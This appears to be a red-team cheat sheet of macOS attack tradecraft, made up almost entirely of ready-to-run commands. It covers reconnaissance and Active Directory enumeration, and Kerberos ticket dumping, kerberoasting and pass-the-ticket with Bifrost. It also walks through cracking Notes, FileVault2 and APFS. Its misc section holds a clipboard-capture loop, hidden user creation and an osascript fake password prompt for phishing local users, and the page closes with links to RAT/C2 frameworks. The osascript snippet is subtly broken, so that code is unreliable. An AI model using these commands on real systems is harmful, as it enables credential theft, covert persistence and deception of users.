macOS Exploit#

Recon, credential access, persistence, and post-exploitation tradecraft for macOS. The survey block snapshots the target; Bifrost handles Kerberos abuse; Dylib hijacking and Apple Notes / FileVault / APFS cracking round out the kit.

macOS survey#

$ system_profiler > ~/Desktop/system_profile.txt              # everything

$ sw_vers                                                     # OS build
$ cat /System/Library/CoreServices/SystemVersion.plist
$ sw_vers -productVersion
$ sysctl -n machdep.cpu.brand_string                          # CPU
$ fdesetup status                                             # FileVault
$ networksetup -listallhardwareports                          # hardware ports
$ sudo sysdiagnose -f ~/Desktop/                              # advanced report
$ sudo kextstat -l                                            # loaded kexts
$ pwpolicy getaccountpolicies                                 # password policy
$ groups                                                      # enumerate groups
$ klist                                                       # cached Kerberos tickets
$ klist -c <cache>
$ sudo /usr/bin/profiles status -type enrollment              # MDM enrollment

# LSRegister paths searched for app registration
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -dump

# Installed apps and packages
$ cat /Library/Receipts/InstallHistory.plist
$ ls -lart /private/var/db/receipts/
$ mdfind kMDItemAppStoreHasReceipt=1                          # App Store apps

# Disks and wireless
$ diskutil list
$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | \
      awk '/ SSID/ {print substr($0, index($0, $2))}'
$ defaults read /Library/Preferences/SystemConfiguration/com.apple.airport.preferences | grep LastConnected -A 7

# Bluetooth
$ defaults read /Library/Preferences/com.apple.Bluetooth ControllerPowerState

# Memory
$ vm_stat
$ vm_stat -c 10 1

macOS enumeration#

DNS-SD on the local network.

# Printer services
$ dns-sd -B _services._dns-sd._udp local.
$ dns-sd -B _ipp._tcp local.
$ dns-sd -L "Brother HL-L2350DW series" _ipp._tcp local.
$ dns-sd -Gv4v6 BRW105BAD4B6AD6.local

# SMB services
$ dns-sd -B _smb._tcp local.
$ dns-sd -L "TimeCapsule" _smb._tcp local.

IPP find.

$ ippfind                                       # local printers
$ ippfind _ipp._tcp,_universal --exec echo '{service_hostname}' \;
$ ippfind _ipp._tcp,_universal --exec dns-sd -G v4 '{service_hostname}' \;

Use Bonjour to locate AFP services.

$ dns-sd -B _afpovertcp._tcp

Active Directory enumeration.

$ dscl "/Active Directory/<domain>/All Domains" ls /Computers
$ dscl "/Active Directory/<domain>/All Domains" ls /Users
$ dscl "/Active Directory/<domain>/All Domains" read /Users/<username>

$ dscl . cat /Users/<username>
$ dscl . read /Groups/admin
$ dsconfigad -show

$ dscl . list /Groups
$ dscl . list /Users
$ dscl . list /Users | grep -v '_'
$ dscacheutil -q group
$ dscacheutil -q group -a gid 80
$ dscacheutil -q user

$ dscl -u <ADMIN_USER> -P <PASS> <OD_Server> profilelist /LDAPv3/127.0.0.1/Users/<USER>

Bifrost (Kerberos)#

Bifrost enables Kerberos testing on macOS using native APIs.

# List credential caches
$ bifrost -action list

# Dump tickets from the default cache
$ bifrost -action dump -source tickets

# Dump keytab (requires root for /etc/krb5.keytab)
$ bifrost -action dump -source keytab

# Compute hashes used for TGTs (requires plaintext password; base64 with -bpassword)
$ bifrost -action askhash -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh

Request a TGT.

# With base64 password
$ bifrost -action asktgt -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh

# With hash
$ bifrost -action asktgt -username lab_admin -domain lab.local \
    -enctype aes256 -hash 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 \
    -tgtEnctype rc4

# With keytab
$ bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -keytab test

Describe and ask for service tickets.

$ bifrost -action describe -ticket doIFIDCCBRygBgIEAA<...snip...>Uw=
$ bifrost -action asktgs -ticket doIFIDC<...snip...>Uw= \
    -service cifs/dc1-lab.lab.local,host/dc1-lab.lab.local

Kerberoasting.

$ bifrost -action asktgs -ticket doIF<...snip...>QUw= \
    -service host/dc1-lab.lab.local -kerberoast true

Pass-the-ticket.

$ bifrost -action ptt -cache new -ticket doI<...snip...>QUw=

Dylib hijacking#

By abusing features of OS X’s dynamic loader, attackers plant specially crafted dynamic libraries so they auto-load into vulnerable applications.

AirSpy#

AirSpy explores Apple’s AirDrop protocol implementation on i/macOS from the server’s perspective. Dumps requests / responses and linear code coverage of the code processing each request.

Crack Apple Secure Notes#

Step 1, copy NotesV#.storedata from the target at /Users/<username>/Library/Containers/com.apple.Notes/Data/Library/Notes/. Pick the version matching the OS (Mountain Lion = NotesV1, Mavericks = NotesV2, Yosemite = NotesV4, El Capitan / Sierra = NotesV6, High Sierra = NotesV7).

Step 2, download applenotes2john and point it at the SQLite DB.

$ applenotes2john.py NotesV#.storedata

Step 3, format and load the hash into John (--format=notes-opencl) or Hashcat (-m 16200) to crack.

Crack Apple FileVault2 disk encryption#

# 1. dd image of FileVault2 disk
$ sudo dd if=/dev/disk2 of=/path/to/filevault_image.dd conv=noerror,sync

# 2. install fvde2john (https://github.com/kholia/fvde2john)

# 3. attach the image
$ hdiutil attach -imagekey diskimage-class=CRawDiskImage -nomount /Volumes/path/to/filevault_image.dd

# 4. retrieve EncryptedRoot.plist.wipekey from Recovery HD
$ mmls /Volumes/path/to/filevault_image.dd
$ fls -r -o 50480752 /Volumes/path/to/filevault_image.dd | grep -i EncryptedRoot
$ icat -o 50480752 image.raw 130 > EncryptedRoot.plist.wipekey

# 5. identify Apple_Corestorage device
$ diskutil list

# 6. extract the hash
$ sudo fvdetools/fvdeinfo -e EncryptedRoot.plist.wipekey -p blahblah /dev/disk3s2

# 7. crack
$ john --format=FVDE-opencl --wordlist=dict.txt hash.txt
$ hashcat -a 0 -m 16700 hash.txt dict.txt

Crack APFS up to 10.13#

# https://github.com/kholia/apfs2john
$ sudo ./bin/apfs-dump-quick /dev/sdc1 outfile.txt
$ sudo ./bin/apfs-dump-quick image.raw outfile.txt

# consider kpartx for disk image handling
# https://github.com/kholia/fvde2john

macOS misc#

# Dump clipboard continuously
$ while true; do echo -e "\n$(pbpaste)" >> /tmp/clipboard.txt && sleep 5; done

# Add a hidden user
$ sudo dscl . -create /Users/#{user_name} UniqueID 333

# Extract certificates
$ security find-certificate -a -p

# Locate bookmark databases
$ find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} >> /tmp/firefox-bookmarks.txt \;
$ find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >> /tmp/chrome-bookmarks.txt \;

# Browser histories
# Safari:  ~/Library/Safari/History.db
# Chrome:  ~/Library/Application Support/Google/Chrome/Default/History
# Firefox: ~/Library/Application Support/Profiles<random>.default-release/places.sqlite

# Prompt user for password (local phishing)
$ osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' \
    -e 'tell app "System Preferences" requires that you type your password to apply changes.' \
    -e 'default answer "" with icon 1 with hidden answer with title "Software Update"'

C2 tools#

  • Pupy, cross-platform Python RAT, all-in-memory, low footprint. https://github.com/n1nj4sec/pupy

  • Apfell, cross-platform red-teaming framework built with Python3, Docker, and a web UI. https://github.com/its-a-feature/Apfell

References#